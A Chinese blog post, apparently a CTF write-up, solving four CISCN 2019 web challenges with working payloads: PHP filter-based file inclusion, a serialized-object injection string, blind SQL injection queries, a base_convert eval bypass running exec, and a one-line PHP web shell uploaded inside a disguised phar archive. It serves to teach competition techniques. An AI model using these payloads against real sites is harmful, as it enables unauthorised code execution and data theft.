shifeng

ciscn2019 web wp
之前说好高产一波碰上期末就失败了Orz,赶紧补一下四月底的国赛
扫描右侧二维码阅读全文
21
2019/06

ciscn2019 web wp

之前说好高产一波碰上期末就失败了Orz,赶紧补一下四月底的国赛

JustSoSo

算是一道简单的题
首先F12发现提示

于是filer协议一波获得源码

?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=hint.php

先读一下index.php

<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);
if(isset($payload))
{  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value)
    {

        if (preg_match("/flag/",$value)){
            die('stop hacking!');
            exit();
        }    
    }
    $payload = unserialize($payload);
}
else{
    echo "Missing parameters"; 
} 
?>
<!-- Please test index.php?file=xxx.php  -->
<!-- Please get the source of hint.php -->
</html>

可以看到不允许我们直接用file参数读取flag文件,那flag八成在flag.php或者flag.txt
然后又对payload参数进行了flag的过滤,不过parse_url($_SERVER['REQUEST_URI'])我们可以通过在域名后用///使得处理后的值为false从而绕过检查
最后将payload反序列化,那应该就是要通过这里拿flag了

然后读hint.php

<?php
class Handle{
    private $handle;
    public function __wakeup(){
       foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) {
        $this->handle = $handle;
    }
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
         if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true);
            }
        }
    }
}

?>

在Flag类的getFile方法有一处读取文件,那应该就是要通过这里拿flag了。不过前面要绕过token与token_flag的对比,这里用不了弱类型,不过我们可以用引用。类似与C++里的指针,不过php里用得太少就没想到。
绕过这个后,看到Handle类里的析构方法,会调用handle属性的getFlag()方法,那就是要把handle属性设为Flag类。然后绕过那个__wakeup()方法只要修改一下序列化后的类的属性数量就ok

于是拿hint.php构造一波

$f = new Flag('flag.php');
$f->token = &$f->token_flag;
$h = new Handle($f);
$a = serialize($h);
echo urlencode($a);

Payload:

?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22bf1b2f4b901c21a1d8645018ea9aeb05%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

然而我在本地试了无数次都不行,查了一堆才发现我的php5版本为5.6.28,然而这个漏洞在php5要在5.6.25一下,php7要在7.0.10【吐血ing

全宇宙最简单的SQL

这题不太好复现,当时做的时候大概就是fuzz出了
if or sleep when case
这些常用的字符。布尔和时间盲注是不太行了,于是尝试报错盲注,发现exp没被过滤,那接下来就是一顿操作了

' union select (select((ascii(substr(database(),1,1))=96)))*999*pow(999,102)#

成功跑出数据库名和user(),但由于过滤了or,information_schema库访问不了,mysql库也缺权限。虽然列可以不用知道,但不能没表名,只能靠猜了,不过表名确实也很“弱表名”——user

于是

' union select (select((ascii(substr((select(select d.1 from (select * from (select 1)b,(select 2)c union select * from user)d limit 1 offset 2)e),1,1))=96)))*999*pow(999,102)#

成功,于是脚本跑一波得到密码,进去后是个mysql扫描器,和ddctf那题一样,部署一下伪装的mysql服务器然后让扫描器去扫就能获取任意文件了
【这题当时做时用了locate()没区分大小写一直登不进去到自闭orz

love_math

一道非常硬核的题目,各种奇淫技巧都用上了

先读源码

<?php 
error_reporting(0); 
//听说你很喜欢数学,不知道你是否爱它胜过爱flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太长了不会算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("请不要输入奇奇怪怪的字符"); 
        } 
    } 
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("请不要输入奇奇怪怪的函数"); 
        } 
    } 
    //帮你算出答案 
    eval('echo '.$content.';'); 
}

可以看到对参数c限制了长度小于80,同时过滤了一些常用的字符,然后只允许所有存在的字符串都要时白名单中的字符串
最后一个eval,一看要利用的地方就是这里

先想办法用system('ls')跑出目录来
看白名单列表,只有base_convert和hexdec是能将数字转成字符串的。base_convert能将字符在36进制内随意转换,那就利用这个

先试一下system在哪个进制下长度最短

<?php
system('ls')

for($i=0;$i<=36;$i++){
    echo $i."   ".base_convert("system",35,$i)."<br>";
}

发现比较适合的是9进制(转化后全为数字)。

然后试ls发现在21进制下最适合

接着是一波echo的奇淫技巧,我们可以用echo ($a=1);输出同时给a赋值。然后在php7下我们还可以echo ($a=function)();执行一个函数。这样我们可以用一个短变量名代替base_convert简短字符量。于是我们拿最短的pi作为变量名

?c=($pi=base_convert)(3833484266,9,35)($pi(197,21,29))

一波跑出目录

于是尝试system(‘cat flag.txt’)
这里.单用给的函数是解决不了的,但我们可以用base_convert构造出任意函数,于是选用hex2bin来转标点符号

于是还是先测hex2bin的长度,在14进制下是比较适合的。但是转后的字符还是有个a,于是又要改进制,但这里没必要用base_convert(太长了),用dechex就ok。然后构造一波,发现长度大过80,接着尝试构造system('cat *'),正好是80位,还是用不了

于是改个方向不用system,用更短的exec。但exec只能读最后一行,于是我们要构造的是exec('cat f*')

再跑一波发现exec使用23进制比较适合,然后就是一波操作构造出payload

?c=($pi=base_convert)(22950,23,34)($pi(1438255411,14,34)(dechex(109270211257898)))

正好79位,稳

这题其实还可以_GET,system,getallheaders 或者 readfile这些函数,然后利用php7才有的{}去传入数据

RefSpace

挺综合的题吧,这题因为本地环境用的是5.6所以改了一些代码,然后没做FlanSDK的全局引入所以脚本基本都会多一句引入

首先访问,可以看到明显的文件包含

于是一波操作把能搞到的代码搞下来

index.php

php://filter/read=convert.base64-encode/resource=index

<?php
error_reporting(E_ALL);
define('LFI', 'LFI');
$lfi = $_GET['route'] ?: false;
if (!$lfi) {
    header("location: ?route=app/index");
    exit();
}
include "{$lfi}.php";
//Good job, you know how to use LFI, don‘t you?
//But You are still far from flag
//hint: ?router=app/flag

app/flag.php

php://filter/read=convert.base64-encode/resource=app/flag

<?php
if (!defined('LFI')) {
     echo "Include me!";
    exit();
}
include("FlagSDK.php");
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?: false;
if (!$key) {
    echo "Please provide access key<br \>";
    echo $_GET["key"];
    exit();
}
$flag = $sdk->verify($key);
if ($flag) {
    echo $flag;
} else {
    echo "Wrong Key";
    exit();
}
//Do you want to know more about this SDK?
//we ‘accidentally‘ save a backup.zip for more information

app/index.php

php://filter/read=convert.base64-encode/resource=app/index

<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}
?>
<html>

<head>
    <meta charset="UTF-8">
</head>

<body>

    Hi CTFer,<br />
    这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
    Powered by Aoisystem<br />
    <!-- error_reporting(E_ALL); -->
    
</body>

</html>

可以看到flag.php处引入了一个FlagSDK类,进行了一系列操作后就能得到flag
继续摸,访问robots.txt发现app/Up10aD.php

于是拿一波源码

<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        default:
            echo "Only gif/jpg allowed";
            exit();
    }
    $dst = "upload/" . $_FILES["file"]["name"] . $fileext;
    move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
    echo "文件保存位置: {$dst}<br />";
}
?>
<html>

<head>
    <meta charset="UTF-8">
</head>

<body>
    我们不能让选手轻而易举的搜索到上传接口。<br />
    即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
    <form method="post" enctype="multipart/form-data">
        <label for="file">来选择你的文件吧:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>

</body>

</html>

只能上传gif和jpg
这里由于前面有一个文件包含,于是尝试一下phar协议

使用phar协议我们可以将脚本打包进一个phar包,然后就算修改为不同后缀名,但只要是通过phar协议去访问,依旧可以访问到我们的目标脚本。原因也很简单,打包成phar包的过程实际上是个序列化的过程,然后访问则是一个反序列化的过程,于是就算不是phar后缀也没关系

于是上一句话

<?php
eval($_GET['cmd']);
?>

然后打包成phar包,上传,访问读目录

?route=phar://upload/eval.jpg.jpg/eval&cmd=print_r(scandir("."));

发现flag.txt,不过原题中是加密的,这里也就不从这拿flag。然后有个backup.zip,下下来解压看看

给了我们刚刚不知道的FlagSDK中处理的操作
于是尝试去访问一下getHash()

<?php
include("FlagSDK.php");
use interesting\FlagSDK;
$a = new FlagSDK();
echo $a->getHash();

报错,这个getHash居然是个私有方法,这就触及到我的知识盲区了Orz
于是各种查,找到了php中有个反射类,可以通过这个类去获取目标类的信息,甚至可以类外调用私有方法,牛逼啊【不过这也造成了很大的安全问题呀

[PHP的反射类ReflectionClass、ReflectionMethod使用实例
](https://www.cnblogs.com/KeenLeung/p/6041280.html)

于是一波操作

<?php
include("FlagSDK.php");
$class = new ReflectionClass('\interesting\FlagSDK');
$intance = $class->newInstanceArgs();
$method = $class->getmethod('getHash');
$method->setAccessible(true);
echo $method->invoke($intance);

这里newInstanceArgs是实例化类,getmethod是指向要调用的方法,setAccessible设置权限,invoke执行

拿到hash
然后再重写一下sha1方法,这里记得要设置命名空间,不然会直接去调用原生的sha1方法

<?php
namespace interesting;

function sha1($a){
    return 'ajdsfjvcnvkz1564cxz4c';
} 
include("FlagSDK.php");
use interesting\FlagSDK;
$a = new FlagSDK();
$flag = $a->verify(1);
echo $flag;

拿到flag

最后修改:2019 年 06 月 21 日 02 : 36 PM
如果觉得我的文章对你有用,请随意赞赏

2 条评论

  1. 墨蓝

    那个博主,你的博客页面好卡啊

    1. shifeng
      @墨蓝

      CDN配失败了,过几天我再弄弄

发表评论